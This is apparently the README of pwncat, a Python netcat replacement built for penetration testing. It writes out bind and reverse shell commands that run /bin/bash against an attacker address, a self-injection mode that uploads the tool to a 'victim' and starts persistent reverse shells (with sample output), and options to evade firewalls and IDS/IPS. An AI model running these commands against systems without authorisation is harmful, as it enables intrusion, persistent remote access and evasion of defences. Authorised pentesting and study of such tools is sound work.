**[Behaviour](#cop-behaviour)** | **[Usage](#computer-usage)** | **[Examples](#bulb-examples)** | **[FAQ](#information_source-faq)** | **[Contributing](#octocat-contributing)** | **[Disclaimer](#exclamation-disclaimer)** | **[License](#page_facing_up-license)** ---
pwncat banner
# pwncat [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) [![Documentation Status](https://readthedocs.org/projects/pwn-cat/badge/?version=latest)](https://docs.pwncat.org/en/latest/?badge=latest) [![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Format](https://img.shields.io/pypi/format/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Implementation](https://img.shields.io/pypi/implementation/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - License](https://img.shields.io/pypi/l/pwncat)](https://pypi.org/project/pwncat/) [![Build Status](https://github.com/cytopia/pwncat/workflows/linting/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=linting) [![Build Status](https://github.com/cytopia/pwncat/workflows/building/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=building) >   > #### Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python ([PSE](pse/)). - [docs.pwncat.org](https://docs.pwncat.org) >  
Code Style Integration Tests [2]
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mypy [1]
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pylint
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> [1] mypy type coverage (fully typed: 94.00%)
> [2] Failing builds do not indicate broken functionality. Integration tests run for multiple hours and break sporadically for various different reasons (network timeouts, unknown cancellations of GitHub Actions, etc): #735, #841
> #### Motivation Ever accidentally hit Ctrl+c on your reverse shell and it was gone for good? Ever waited forever for your client to connect back to you, because the Firewall didn't let it out? Ever had a connection loss because an IPS closed suspicious ports? Ever were in need of a quick port forwarding?
> **This one got you covered.** Apart from that the current features of `nc`, `ncat` or `socat` just didn't feed my needs and I also wanted to have a single tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with. (Wait for it, binary releases for Linux, MacOS and Windows will come shortly). ## :closed_book: Documentation | Pwncat docs | Link | |:----------------|:-----| | Official documentation | [https://docs.pwncat.org](https://docs.pwncat.org) | | Official website | [https://pwncat.org](https://pwncat.org) | | API documentation | [https://pwncat.org/pwncat.api.html](https://pwncat.org/pwncat.api.html) | | Pwncat Scripting Engine | [PSE](https://github.com/cytopia/pwncat/tree/master/pse) | ## :tada: Install Current version is: **0.1.2** #### Generic | [Pip](https://pypi.org/project/pwncat/) | |:-:| | [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png)](https://pypi.org/project/pwncat/) | | `pip install pwncat` | #### OS specific | **[MacOS][mac_lnk]** | **[Arch Linux][arch_lnk]** | **[BlackArch][barch_lnk]** | **[CentOS][centos_lnk]**[1] | |:----------------------------:|:----------------------------:|:----------------------------------:|:--------------------------------------------:| | [![mac_img]][mac_lnk] | [![arch_img]][arch_lnk] | [![barch_img]][barch_lnk] | [![centos_img]][centos_lnk] | | `brew install pwncat` | `yay -S pwncat` | `pacman -S pwncat` | `yum install pwncat` | | **[Fedora][fedora_lnk]** | **[Kali Linux][kali_lnk]** | **[NixOS][nix_lnk][2]** | **[Oracle Linux][oracle_lnk][1]** | | [![fedora_img]][fedora_lnk] | [![kali_img]][kali_lnk] | [![nix_img]][nix_lnk] | [![oracle_img]][oracle_lnk] | | `dnf install pwncat` | `apt install pwncat` | `nixos.pwncat` | `yum install pwncat` | | **[Pentoo][pentoo_lnk]** | **[Parrot OS][parrot_lnk]** | | [![pentoo_img]][pentoo_lnk] | [![parrot_img]][parrot_lnk] | | `net-analyzer/pwncat` | `apt install pwncat` | > [1]: Epel repository
> [2]: Unstable [mac_lnk]: https://formulae.brew.sh/formula/pwncat#default [mac_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png [arch_lnk]: https://aur.archlinux.org/packages/pwncat/ [arch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png [barch_lnk]: https://www.blackarch.org/tools.html [barch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png [centos_lnk]: https://pkgs.org/download/pwncat [centos_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/centos.png [fedora_lnk]: https://src.fedoraproject.org/rpms/pwncat [fedora_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/fedora.png [kali_lnk]: https://gitlab.com/kalilinux/packages/pwncat [kali_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/kali.png [nix_lnk]: https://search.nixos.org/packages?channel=unstable&query=pwncat [nix_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/nixos.png [oracle_lnk]: https://yum.oracle.com/repo/OracleLinux/OL8/developer/EPEL/x86_64/index.html [oracle_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/oracle-linux.png [parrot_lnk]: https://repology.org/project/pwncat/versions [parrot_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/parrot.png [pentoo_lnk]: https://repology.org/project/pwncat/versions [pentoo_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/pentoo.png ## :coffee: TL;DR This is just a quick get-you-started overview. For more advanced techniques see **[:computer: Usage](#computer-usage)** or **[:bulb: Examples](#bulb-examples)**. ### See in action
unbreakable reverse shells - how to spawn

 unbreakable reverse shells - multiple shells
### Deploy to target ```bash # Copy base64 data to clipboard from where you have internet access curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64 # Paste it on the target machine echo "" | base64 -d > pwncat chmod +x pwncat ``` ### Inject to target ```bash # [1] If you found a vulnerability on the target to start a very simple reverse shell, # such as via bash, php, perl, python, nc or similar, you can instruct your local # pwncat listener to use this connection to deploy itself on the target automatically # and start an additional unbreakable reverse shell back to you. pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445 ``` > [1] [Read in more detail about self-injection](#self-injecting-reverse-shell) ### Summon shells ```bash # Bind shell (accepts new clients after disconnect) pwncat -l -e '/bin/bash' 8080 -k ``` ```bash # Reverse shell (Ctrl+c proof: reconnects back to you) pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1 ``` ```bash # Reverse UDP shell (Ctrl+c proof: reconnects back to you) pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1 ``` ### Port scan ```bash # [TCP] IPv4 + IPv6 pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023 # [UDP] IPv4 + IPv6 pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u # Use only IPv6 or IPv4 pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u # Add version detection pwncat -z 10.0.0.1 1-65535 --banner ``` ### Local port forward `-L` (listening proxy) ```bash # Make remote MySQL server (remote port 3306) available on current machine # on every interface on port 5000 pwncat -L 0.0.0.0:5000 everythingcli.org 3306 ``` ```bash # Same, but convert traffic on your end to UDP pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u ``` ### Remote port forward `-R` (double client proxy) ```bash # Connect to Remote MySQL server (remote port 3306) and then connect to another # pwncat/netcat server on 10.0.0.1:4444 and bridge traffic pwncat -R 10.0.0.1:4444 everythingcli.org 3306 ``` ```bash # Same, but convert traffic on your end to UDP pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u ``` > [SSH Tunnelling for fun and profit :link:](https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/)
> [`pwncat` example: Port forwarding magic](#port-forwarding-magic) ## :star: Features ### At a glance `pwncat` has many features, below is only a list of outstanding characteristics. | Feature | Description | |----------------|-------------| | [PSE](pse) | Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive | | port scanning | TCP und UDP port scanning with basic version detection support | | Self-injecting rshell | Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically | | Bind shell | Create bind shells | | Reverse shell | Create reverse shells | | Port Forward | Local and remote port forward (Proxy server/client) | | Ctrl+c | Reverse shell can reconnect if you accidentally hit Ctrl+c | | Detect Egress | Scan and report open egress ports on the target (port hopping) | | Evade FW | Evade egress firewalls by round-robin outgoing ports (port hopping) | | Evade IPS | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping) | | UDP rev shell | Try this with the traditional `netcat` | | Stateful UDP | Stateful connect phase for UDP client mode | | TCP / UDP | Full TCP and UDP support | | IPv4 / IPv6 | Dual or single stack IPv4 and IPv6 support | | Python 2+3 | Works with Python 2, Python 3, pypy2 and pypy3 | | Cross OS | Work on Linux, MacOS and Windows as long as Python is available | | Compatability | Use the `netcat`, `ncat` or `socat` as a client or server together with `pwncat` | | Portable | Single file which only uses core packages - no external dependencies required. | ### Feature comparison matrix | | pwncat | netcat | ncat | socat | |---------------------|----------|--------|-------|-------| | Scripting engine | ✔ Python | :x: | ✔ Lua | :x: | | | | | | | | IP ToS | ✔ | ✔ | :x: | ✔ | | IPv4 | ✔ | ✔ | ✔ | ✔ | | IPv6 | ✔ | ✔ | ✔ | ✔ | | Unix domain sockets | :x: | ✔ | ✔ | ✔ | | Linux vsock | :x: | :x: | ✔ | :x: | | Socket source bind | ✔ | ✔ | ✔ | ✔ | | | | | | | | TCP | ✔ | ✔ | ✔ | ✔ | | UDP | ✔ | ✔ | ✔ | ✔ | | SCTP | :x: | :x: | ✔ | ✔ | | SSL | :x: | :x: | ✔ | ✔ | | HTTP | ✔ | :x: | :x: | :x: | | HTTPS | * | :x: | :x: | :x: | | | | | | | | Telnet negotiation | :x: | ✔ | ✔ | :x: | | Proxy support | :x: | ✔ | ✔ | ✔ | | Local port forward | ✔ | :x: | :x: | ✔ | | Remote port forward | ✔ | :x: | :x: | :x: | | | | | | | | Inbound port scan | ✔ | ✔ | ✔ | :x: | | Outbound port scan | ✔ | :x: | :x: | :x: | | Version detection | ✔ | :x: | :x: | :x: | | | | | | | | Chat | ✔ | ✔ | ✔ | ✔ | | Command execution | ✔ | ✔ | ✔ | ✔ | | Hex dump | * | ✔ | ✔ | ✔ | | Broker | :x: | :x: | ✔ | :x: | | Simultaneous conns | :x: | :x: | ✔ | ✔ | | Allow/deny | :x: | :x: | ✔ | ✔ | | Re-accept | ✔ | ✔ | ✔ | ✔ | | Self-injecting | ✔ | :x: | :x: | :x: | | UDP reverse shell | ✔ | :x: | :x: | :x: | | Respawning client | ✔ | :x: | :x: | :x: | | Port hopping | ✔ | :x: | :x: | :x: | | Emergency shutdown | ✔ | :x: | :x: | :x: | > `*` Feature is currently under development. ## :cop: Behaviour Like the original implementation of `netcat`, when using **TCP**, `pwncat` (in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. In case the remote peer does not terminate the connection, or in **UDP** mode, `netcat` and `pwncat` will stay open. The behaviour differs a bit when STDIN is closed. 1. `netcat`: If STDIN is closed, but connection stays open, `netcat` will stay open 2. `pwncat`: If STDIN is closed, but connection stays open, `pwncat` will close You can emulate the `netcat` behaviour with `--no-shutdown` command line argument. Have a look at the following commands to better understand this behaviour: ```bash # [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 # [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown ``` ```bash # [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF printf "GET / \n\n" | pwncat www.google.com 80 ``` ```bash # [TCP] # Both instances will quit after successful file transfer. pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt # [TCP] # Neither of both, client and server will quit after successful transfer # and they will be stuck, waiting for more input or output. # When exiting one (e.g.: via Ctrl+c), the other one will quit as well. pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt ``` Be advised that it is not reliable to send files via UDP ```bash # [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP) # Neither of both, client and server will quit after successful transfer # and they will be stuck, waiting for more input or output. # When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode. pwncat -u -l 4444 > output.txt pwncat -u localhost 4444 < input.txt ``` There are many ways to alter this default behaviour. Have a look at the [usage](#computer-usage) section for more advanced settings. ## :computer: Usage ### Keys | Behaviour | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] | |----------------|---------------|---------------|-----------------| | Quit (SIGINT) | Ctrl+c | Ctrl+c | Ctrl+c | | Quit (SIGQUIT) | Ctrl+\\ | ? | ? | | Quit (SIGQUIT) | Ctrl+4 | ? | ? | | Quit STDIN[1] | Ctrl+d | Ctrl+d | Ctrl+z and Ctrl+Enter | | Send (NL) | Ctrl+j | ? | ? | | Send (EOL) | Ctrl+m | ? | ? | | Send (EOL) | Enter | Enter | Enter | > [1] Only works when not using `--no-shutdown` and `--keep`. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket. [Linux]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/linux.png "Linux" [MacOS]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png "MacOS" [Windows]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/windows.png "Windows" ### Command line arguments Type `pwncat -h` or click below to see all available options.
Click here to expand usage ``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help Enhanced and comptaible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems. If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect. positional arguments: hostname Address to listen, forward, scan or connect to. port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2 mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour. -z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection. -L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address) -R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments. optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode. -C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS). -n, --nodns Do not resolve DNS. --send-on-eof Buffer data received on stdin until EOF and send everything in one chunk. --no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior. -v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times. --info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv). -c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto) --safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input. protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack). -6 Only Use IPv6 (default: IPv4 and IPv6 dualstack). -u, --udp Use UDP for the connection instead of TCP. -T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'. --http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS. --https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS. -H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s). command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet. pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). --script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan. listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone) --rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try). --rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1) --rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified. connect mode arguments: --source-addr addr Specify source bind IP address for connect mode. --source-port port Specify source bind port for connect mode. --reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection. --reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1) --reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed. --ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0') --ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0') --ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported. --ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster. --udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word. --udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'. misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit ```
## :bulb: Examples ### Upgrade your shell to interactive > This is a universal advice and not only works with `pwncat`, but with all other common tools. When connected with a reverse or bind shell you'll notice that no interactive commands will work and hitting Ctrl+c will terminate your session. To fix this, you'll need to attach it to a TTY (make it interactive). Here's how: ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' ``` Ctrl+z ```bash # get your current terminal size (rows and columns) stty size # for bash/sh (enter raw mode and disable echo'ing) stty raw -echo fg # for zsh (enter raw mode and disable echo'ing) stty raw -echo; fg reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size' ``` > [1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell) ### UDP reverse shell Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a `connect()` method as TCP does. In TCP mode, the server will know the client IP and port, once the client issues a `connects()`. In UDP mode, as there is no `connect()`, the client simply sends data to an address/port without having to connect first. Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first. The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it. `pwncat` emulates the TCP `connect()` by having the client send a null byte to the server once or periodically via `--ping-intvl` or `--ping-init`. ```bash # The client # --exec # Provide this executable # --udp # Use UDP mode # --ping-init # Send an initial null byte to the server pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444 ``` ### Unbreakable TCP reverse shell Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again. ```bash # The client # --exec # Provide this executable # --nodns # Keep the noise down and don't resolve hostnames # -reconn # Automatically reconnect back to you indefinitely # --reconn-wait # If connection is lost, connect back to you every 2 seconds pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444 ``` ### Unbreakable UDP reverse shell Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep sending null bytes to the server to constantly announce itself. ```bash # The client # --exec # Provide this executable # --nodns # Keep the noise down and don't resolve hostnames # --udp # Use UDP mode # --ping-intvl # Ping the server every 2 seconds pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444 ``` ### Self-injecting reverse shell Let's imagine you are able to create a very simple and unstable reverse shell from the target to your machine, such as a web shell via a PHP script or similar. Knowing, that this will not persist very long or might break due to unstable network connection, you could use `pwncat` to hook into this connection and deploy itself unbreakably on the target - fully automated. > [View on Youtube](https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s) All you have to do, is use `pwncat` as your local listener and start it with the `--self-inject` switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things: 1. Enumerate Python availability and versions on the target 2. Dump itself base64 encoded onto the target 3. Use the target's Python to decode itself. 4. Use the target's Python to start itself as an unbreakable reverse shell back to you Once this is done, you can keep using the current connection or simply abandon it and start a new listener (yes, you don't need to start the listener before starting the reverse shell) to have the new `pwncat` client connect to you. The new listener also doesn't have to be `pwncat`, it can also be `netcat` or `ncat`. The **`--self-inject`** switch: ```bash pwncat -l 4444 --self-inject :: ``` * ``: This is the command to start on the target (like `-e`/`--exec`, so you want it to be `cmd.exe` or `/bin/bash`) * ``: This is for your local machine, the IP address to where the reverse shell shall connect back to * ``: This is for your local machine, the port on which the reverse shell shall connect back to So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port `4444`: ```bash # Start this locally, before starting the reverse webshell pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445 ``` You will then see something like this: ``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 & ``` And you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first). ```bash # either netcat nc -lp 4445 # or ncat ncat -l 4445 # or pwncat pwncat -l 4445 ``` ### Unlimited self-injecting reverse shells Instead of just asking for a single self-injecting reverse shell, you can instruct `pwncat` to spawn as many unbreakable reverse shells connecting back to you as you desire. > [View on Youtube](https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2") The `--self-inject` argument allows you to not only define a single port, but also 1. A comma separated list of ports: `4445,4446,4447,4448` 2. A range definition: `4446-4448` 3. An increment: `4445+3` In order to spawn 4 reverse shells you would start your listener just as described above, but instead of a single port, you define multiple: ```bash # Comma separated pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448 # Range pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448 # Increment pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3 ``` Each of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target. Once the client connects, the output will look something like this: ``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 & Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 & Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 & Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 & ``` ### Logging > **Note:** Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell. #### Log level and redirection If you feel like, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot. Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file. You can also manually disable colored logging for terminal outputs via the `--color` switch. ```bash pwncat -vvvv -l 4444 ``` You will see (among all the gibberish) a TRACE message: ```bash 2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: 